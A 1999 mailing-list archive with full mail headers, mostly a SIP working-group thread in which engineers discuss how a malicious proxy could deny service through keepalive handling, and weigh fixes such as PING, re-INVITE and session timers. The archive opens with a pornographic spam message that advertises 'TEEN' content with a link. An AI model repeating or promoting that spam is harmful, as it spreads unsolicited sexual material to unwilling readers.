Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA29090
	for <confctrl@zephyr.isi.edu>; Tue, 26 Jan 1999 20:05:18 -0800 (PST)
Received: from server03.burst.com ([157.22.224.60])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA15085;
	Tue, 26 Jan 1999 20:05:15 -0800 (PST)
Date: Tue, 26 Jan 1999 20:05:15 -0800 (PST)
From: shagyourotten@burst.com
Message-Id: <199901270405.UAA15085@tnt.isi.edu>
Received: from mc/mnet (ip170.belair.md.pub-ip.psi.net [38.14.57.170]) by server03.burst.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2232.9)
	id DXG2766B; Tue, 26 Jan 1999 14:06:12 -0800
To: vgnhk@aol.com
Subject: Hardcore baby!!!   Yeah!!!!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Looking for the hottest in porn action. We have it all...Straight, Gay, Asian,  TEEN, and black. Come pick YOUR pleasure!!!!

<a href="http://www.teenagehotel.com/xxx/zombie/page5.html">Click here for serious porn action!!</a>

From confctrl-owner  Wed Jan 27 07:41:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA23310
	for confctrl-outgoing; Wed, 27 Jan 1999 07:41:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA23305
	for <confctrl@zephyr.isi.edu>; Wed, 27 Jan 1999 07:41:12 -0800 (PST)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA19808
	for <confctrl@ISI.EDU>; Wed, 27 Jan 1999 07:41:11 -0800 (PST)
Received: from mr3.exu.ericsson.se ([138.85.11.55])
	by gwa.ericsson.com (8.8.8/8.8.8) with ESMTP id JAA01188;
	Wed, 27 Jan 1999 09:40:35 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id JAA03114;
	Wed, 27 Jan 1999 09:40:30 -0600 (CST)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id JAA08893; Wed, 27 Jan 1999 09:40:27 -0600 (CST)
Received: (exuadam@localhost) by b04a24.exu.ericsson.se (8.8.2/8.6.12) id JAA26325; Wed, 27 Jan 1999 09:41:42 -0600 (CST)
Message-Id: <199901271541.JAA26325@b04a24.exu.ericsson.se>
Subject: Re: Proxy Server Inconsistencies
To: jdrosen@dnrc.bell-labs.com (Jonathan Rosenberg)
Date: Wed, 27 Jan 1999 09:41:41 -0600 (CST)
Cc: Adam.Roach@ericsson.com, hgs@cs.columbia.edu, Dean.Willis@MCI.COM,
        confctrl@ISI.EDU
In-Reply-To: <36AE8E6B.5E3F95A4@dnrc.bell-labs.com> from "Jonathan Rosenberg" at Jan 26, 99 10:56:27 pm
From: Adam.Roach@ericsson.com (Adam B. Roach)
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com> writes:
>
>Adam B. Roach wrote:
>> 
>> >Seems a bit dangerous. P2 must trust P1 to give correct call state
>> >information.
>> 
>> Reiterating the chain of proxies:
>> UAx - [firewall] - P1 - P2 - ...
>> 
>> In this circumstance, P2 really has no choice but to trust P1 about
>> the state of the call. All user agent information is being proxied
>> by P1 under all circumstances. Are you considering this a security
>> problem, or a cache coherency problem (e.g. P1 still beleives the call
>> to be ongoing)?
>
>I think its possibly a subtle security problem. In the above case, the
>UAS is not involved. It is P2 which initiates the query. Lets say P1
>lies, and tells P2 the call is no longer active. Neither the UAS nor the
>UAC ever see this, and so presumably they know that the call is still
>active, and there is no effect for them. The only one that suffers is
>P2.

I can't argue with that.

I can, however, ask why on earth anyone would ever program a
proxy to produce such bizarre and useless behavior. Is there some
potential gain to be realised? Is there any real harm to be incurred, 
except interrupting the services provided by P2?

Wouldn't users start avoiding that proxy and trying to find alternatives,
once they realised it was programmed by a lunatic?

>Now, consider the case where the UAC initiates the keepalive, by sending
>keepalives through the chain to the UAS, and expecting a response. P1
>can still "lie" by refusing to forward the keepalive. But, when it does
>this, the UAC and UAS will believe that the call has terminated, and
>hangup. This is bad for P1 too, so there is no real incentive to do
>this. In the previous case, nothing bad happens to P1.

Ah. But if we're being *this* paranoid, what if P1 examines the 
"Route:" headers, and skips P2, instead sending the keep-alive 
directly to P3? 

The point, of course, being that no protocol can protect against
abuses by trusted nodes. Proxy servers, by their very nature,
have to be trusted to behave in a compliant manner -- or, at the
very least, in a non-malicious one.

/a

From confctrl-owner  Thu Jan 28 07:48:27 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA25346
	for confctrl-outgoing; Thu, 28 Jan 1999 07:48:27 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA25341
	for <confctrl@zephyr.isi.edu>; Thu, 28 Jan 1999 07:48:25 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA26388
	for <confctrl@isi.edu>; Thu, 28 Jan 1999 07:48:23 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu Jan 28 10:45:30 EST 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id KAA22066;
	Thu, 28 Jan 1999 10:45:25 -0500 (EST)
Message-ID: <36B08580.3772E8FB@dnrc.bell-labs.com>
Date: Thu, 28 Jan 1999 10:42:56 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@ericsson.com>
CC: hgs@cs.columbia.edu, Dean.Willis@MCI.COM, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
References: <199901271541.JAA26325@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Adam B. Roach wrote:
> 
> >I think its possibly a subtle security problem. In the above case, the
> >UAS is not involved. It is P2 which initiates the query. Lets say P1
> >lies, and tells P2 the call is no longer active. Neither the UAS nor the
> >UAC ever see this, and so presumably they know that the call is still
> >active, and there is no effect for them. The only one that suffers is
> >P2.
> 
> I can't argue with that.
> 
> I can, however, ask why on earth anyone would ever program a
> proxy to produce such bizarre and useless behavior. Is there some
> potential gain to be realised? Is there any real harm to be incurred,
> except interrupting the services provided by P2?

Interrupting the services provided by P2 is exactly the goal. If P1 and
P2 are competitors, doing this to P2 without interrupting the call is a
denial of service attack.

> Wouldn't users start avoiding that proxy and trying to find alternatives,
> once they realised it was programmed by a lunatic?

Well, probably not a LUNATIC, but someone who is intent on being
malicious. The users might seek alternatives later, depending on whether
they notice and what the nature of the affected services are.

> 
> >Now, consider the case where the UAC initiates the keepalive, by sending
> >keepalives through the chain to the UAS, and expecting a response. P1
> >can still "lie" by refusing to forward the keepalive. But, when it does
> >this, the UAC and UAS will believe that the call has terminated, and
> >hangup. This is bad for P1 too, so there is no real incentive to do
> >this. In the previous case, nothing bad happens to P1.
> 
> Ah. But if we're being *this* paranoid, what if P1 examines the
> "Route:" headers, and skips P2, instead sending the keep-alive
> directly to P3?

An excellent point. Yes, this would appear to enable the same DOS attack
in the end to end keepalive.

Perhaps as an academic exercise, there seems to be a way to detect the
abuses of P1 in this scenario. When the UAC sends the request, it would
encrypt the request with the UAS public key, then encrypt that with P2's
public key, then encrypt that with P1's public key, and then send the
thing to P1. Each proxy decrypts and sends downstream. This insures that
unless the request takes the path specified by the UAC, the message is
unreadable by the UAS. So, having P1 misroute the request would be just
the same as dropping it. 

Now, I'm not proposing that we do this, its just a thought.

So, it seems there are two possibilities that I believe make sense:

1. an end to end keepalive (done as a re-INVITE), with an additional
header which specifies the keepalive frequency

2. a new method, PING (or perhaps an extension to OPTIONS) sent by the
proxies to both UAS and UAC; perhaps with some kind of caching of
liveness at intermediate proxies.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Jan 28 13:11:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA13010
	for confctrl-outgoing; Thu, 28 Jan 1999 13:11:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA13005
	for <confctrl@zephyr.isi.edu>; Thu, 28 Jan 1999 13:11:12 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA25999
	for <confctrl@ISI.EDU>; Thu, 28 Jan 1999 13:11:06 -0800 (PST)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id UAA08991; Thu, 28 Jan 1999 20:08:56 GMT
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2232.9)
	id <DX3HH1Y0>; Thu, 28 Jan 1999 21:09:31 -0000
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D85773C8@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "'Jonathan Rosenberg'" <jdrosen@dnrc.bell-labs.com>,
        "Adam B. Roach"
	 <Adam.Roach@ericsson.com>
Cc: hgs@cs.columbia.edu, "Willis, Dean." <Dean.Willis@mci.com>,
        confctrl@ISI.EDU
Subject: RE: Proxy Server Inconsistencies
Date: Thu, 28 Jan 1999 21:09:27 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE4B02.7F500140"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE4B02.7F500140
Content-Type: text/plain;
	charset="ISO-8859-1"

Well, at least we are down from three to two options.

One point on the re-Invite method is that clients would be required to also
refresh the session timer, even if there was no stateful proxy involved in
the session signaling.  The PING method would only be used when a stateful
proxy was involved.

One method to avoid the malicious proxy is to allow the Pinging proxy to
PING in both directions.  It is unlikely that a malicious proxy would exist
in both directions.

Any suggestions on how we should pursue selecting one option over the other?

Steve

> -----Original Message-----
> From:	Jonathan Rosenberg [SMTP:jdrosen@dnrc.bell-labs.com]
> Sent:	Thursday, January 28, 1999 9:43 AM
> To:	Adam B. Roach
> Cc:	hgs@cs.columbia.edu; Willis, Dean.; confctrl@ISI.EDU
> Subject:	Re: Proxy Server Inconsistencies
> 
> Adam B. Roach wrote:
> > 
> > >I think its possibly a subtle security problem. In the above case, the
> > >UAS is not involved. It is P2 which initiates the query. Lets say P1
> > >lies, and tells P2 the call is no longer active. Neither the UAS nor
> the
> > >UAC ever see this, and so presumably they know that the call is still
> > >active, and there is no effect for them. The only one that suffers is
> > >P2.
> > 
> > I can't argue with that.
> > 
> > I can, however, ask why on earth anyone would ever program a
> > proxy to produce such bizarre and useless behavior. Is there some
> > potential gain to be realised? Is there any real harm to be incurred,
> > except interrupting the services provided by P2?
> 
> Interrupting the services provided by P2 is exactly the goal. If P1 and
> P2 are competitors, doing this to P2 without interrupting the call is a
> denial of service attack.
> 
> > Wouldn't users start avoiding that proxy and trying to find
> alternatives,
> > once they realised it was programmed by a lunatic?
> 
> Well, probably not a LUNATIC, but someone who is intent on being
> malicious. The users might seek alternatives later, depending on whether
> they notice and what the nature of the affected services are.
> 
> > 
> > >Now, consider the case where the UAC initiates the keepalive, by
> sending
> > >keepalives through the chain to the UAS, and expecting a response. P1
> > >can still "lie" by refusing to forward the keepalive. But, when it does
> > >this, the UAC and UAS will believe that the call has terminated, and
> > >hangup. This is bad for P1 too, so there is no real incentive to do
> > >this. In the previous case, nothing bad happens to P1.
> > 
> > Ah. But if we're being *this* paranoid, what if P1 examines the
> > "Route:" headers, and skips P2, instead sending the keep-alive
> > directly to P3?
> 
> An excellent point. Yes, this would appear to enable the same DOS attack
> in the end to end keepalive.
> 
> Perhaps as an academic exercise, there seems to be a way to detect the
> abuses of P1 in this scenario. When the UAC sends the request, it would
> encrypt the request with the UAS public key, then encrypt that with P2's
> public key, then encrypt that with P1's public key, and then send the
> thing to P1. Each proxy decrypts and sends downstream. This insures that
> unless the request takes the path specified by the UAC, the message is
> unreadable by the UAS. So, having P1 misroute the request would be just
> the same as dropping it. 
> 
> Now, I'm not proposing that we do this, its just a thought.
> 
> So, it seems there are two possibilities that I believe make sense:
> 
> 1. an end to end keepalive (done as a re-INVITE), with an additional
> header which specifies the keepalive frequency
> 
> 2. a new method, PING (or perhaps an extension to OPTIONS) sent by the
> proxies to both UAS and UAC; perhaps with some kind of caching of
> liveness at intermediate proxies.
> 
> -Jonathan R.
> 
> -- 
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX:   (732) 834-5379                       Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

------_=_NextPart_001_01BE4B02.7F500140
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>RE: Proxy Server Inconsistencies</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Well, at least we =
are down from three to two options.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">One point on the =
re-Invite method is that clients would be required to also refresh the =
session timer, even if there was no stateful proxy involved in the =
session signaling.&nbsp; The PING method would only be used when a =
stateful proxy was involved.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">One method to =
avoid the</FONT> <FONT COLOR=3D"#0000FF" SIZE=3D2 =
FACE=3D"Fixedsys">malicious proxy is to allow the Pinging proxy to PING =
in both directions.&nbsp; It is unlikely that a malicious proxy would =
exist in both directions.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Any suggestions =
on how we should pursue selecting one option over the other?</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Steve</FONT>
</P>
<UL>
<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Jonathan Rosenberg =
[SMTP:jdrosen@dnrc.bell-labs.com]</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Thursday, January 28, 1999 9:43 AM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">Adam B. Roach</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">hgs@cs.columbia.edu; Willis, Dean.; =
confctrl@ISI.EDU</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D1 FACE=3D"Arial">Re: Proxy Server =
Inconsistencies</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Adam B. Roach =
wrote:</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt;I =
think its possibly a subtle security problem. In the above case, =
the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt;UAS =
is not involved. It is P2 which initiates the query. Lets say P1</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
&gt;lies, and tells P2 the call is no longer active. Neither the UAS =
nor the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt;UAC =
ever see this, and so presumably they know that the call is =
still</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
&gt;active, and there is no effect for them. The only one that suffers =
is</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
&gt;P2.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; I can't =
argue with that.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; I can, =
however, ask why on earth anyone would ever program a</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; proxy to =
produce such bizarre and useless behavior. Is there some</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
potential gain to be realised? Is there any real harm to be =
incurred,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; except =
interrupting the services provided by P2?</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Interrupting =
the services provided by P2 is exactly the goal. If P1 and</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">P2 are =
competitors, doing this to P2 without interrupting the call is a</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">denial of =
service attack.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Wouldn't =
users start avoiding that proxy and trying to find alternatives,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; once =
they realised it was programmed by a lunatic?</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Well, probably =
not a LUNATIC, but someone who is intent on being</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">malicious. =
The users might seek alternatives later, depending on whether</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">they notice =
and what the nature of the affected services are.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt;Now, =
consider the case where the UAC initiates the keepalive, by =
sending</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
&gt;keepalives through the chain to the UAS, and expecting a response. =
P1</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; &gt;can =
still &quot;lie&quot; by refusing to forward the keepalive. But, when =
it does</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
&gt;this, the UAC and UAS will believe that the call has terminated, =
and</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
&gt;hangup. This is bad for P1 too, so there is no real incentive to =
do</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
&gt;this. In the previous case, nothing bad happens to P1.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Ah. But =
if we're being *this* paranoid, what if P1 examines the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
&quot;Route:&quot; headers, and skips P2, instead sending the =
keep-alive</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; directly =
to P3?</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">An excellent =
point. Yes, this would appear to enable the same DOS attack</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">in the end to =
end keepalive.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Perhaps as an =
academic exercise, there seems to be a way to detect the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">abuses of P1 =
in this scenario. When the UAC sends the request, it would</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">encrypt the =
request with the UAS public key, then encrypt that with P2's</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">public key, =
then encrypt that with P1's public key, and then send the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">thing to P1. =
Each proxy decrypts and sends downstream. This insures that</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">unless the =
request takes the path specified by the UAC, the message is</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">unreadable by =
the UAS. So, having P1 misroute the request would be just</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">the same as =
dropping it. </FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Now, I'm not =
proposing that we do this, its just a thought.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">So, it seems =
there are two possibilities that I believe make sense:</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">1. an end to =
end keepalive (done as a re-INVITE), with an additional</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">header which =
specifies the keepalive frequency</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">2. a new =
method, PING (or perhaps an extension to OPTIONS) sent by the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">proxies to =
both UAS and UAC; perhaps with some kind of caching of</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">liveness at =
intermediate proxies.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">-Jonathan =
R.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">-- </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Jonathan D. =
Rosenberg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Lucent Technologies</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Member of =
Technical =
Staff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 101 Crawfords Corner =
Rd.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">High Speed =
Networks =
Research&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp; Holmdel, NJ 07733</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">FAX:&nbsp;&nbsp; (732) =
834-5379&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Rm. 4C-526</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">EMAIL: =
jdrosen@bell-labs.com</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">URL:</FONT><U> <FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New"><A HREF=3D"http://www.cs.columbia.edu/~jdrosen" =
TARGET=3D"_blank">http://www.cs.columbia.edu/~jdrosen</A></FONT></U>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BE4B02.7F500140--

From confctrl-owner  Thu Jan 28 14:47:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA18413
	for confctrl-outgoing; Thu, 28 Jan 1999 14:47:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA18408
	for <confctrl@zephyr.isi.edu>; Thu, 28 Jan 1999 14:47:52 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA06753
	for <confctrl@ISI.EDU>; Thu, 28 Jan 1999 14:47:49 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id RAA21534;
	Thu, 28 Jan 1999 17:47:46 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id RAA15138;
	Thu, 28 Jan 1999 17:47:45 -0500 (EST)
Message-ID: <36B0E910.6BF712FA@cs.columbia.edu>
Date: Thu, 28 Jan 1999 17:47:44 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
CC: "'Jonathan Rosenberg'" <jdrosen@dnrc.bell-labs.com>,
        "Adam B. Roach" <Adam.Roach@ericsson.com>,
        "Willis, Dean." <Dean.Willis@mci.com>, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
References: <CA6966C24AC6D111B5A100805FEAB7D85773C8@nsrip00208.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> "Donovan, Steven R. (MCI)" wrote:
> 
> Well, at least we are down from three to two options.
> 
> One point on the re-Invite method is that clients would be required to
> also refresh the session timer, even if there was no stateful proxy
> involved in the session signaling.  The PING method would only be used
> when a stateful proxy was involved.
> 
> One method to avoid the malicious proxy is to allow the Pinging proxy
> to PING in both directions.  It is unlikely that a malicious proxy
> would exist in both directions.
> 
> Any suggestions on how we should pursue selecting one option over the
> other?

If it turns out that time-limited sessions are useful, then the session
time limit allows to support that without additional mechanism. Thus, I
would guess that we should have session time limits, even if turns out
that an "active" mechanism is useful. Session time limits might be
useful for all kinds of prepaid-{calling/game-playing/subscription}-type
applications, but I'm curious if there are other possible applications
beyond this and liveness detection.



-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Thu Jan 28 16:38:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA24076
	for confctrl-outgoing; Thu, 28 Jan 1999 16:38:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA24070
	for <confctrl@zephyr.isi.edu>; Thu, 28 Jan 1999 16:38:24 -0800 (PST)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA17189
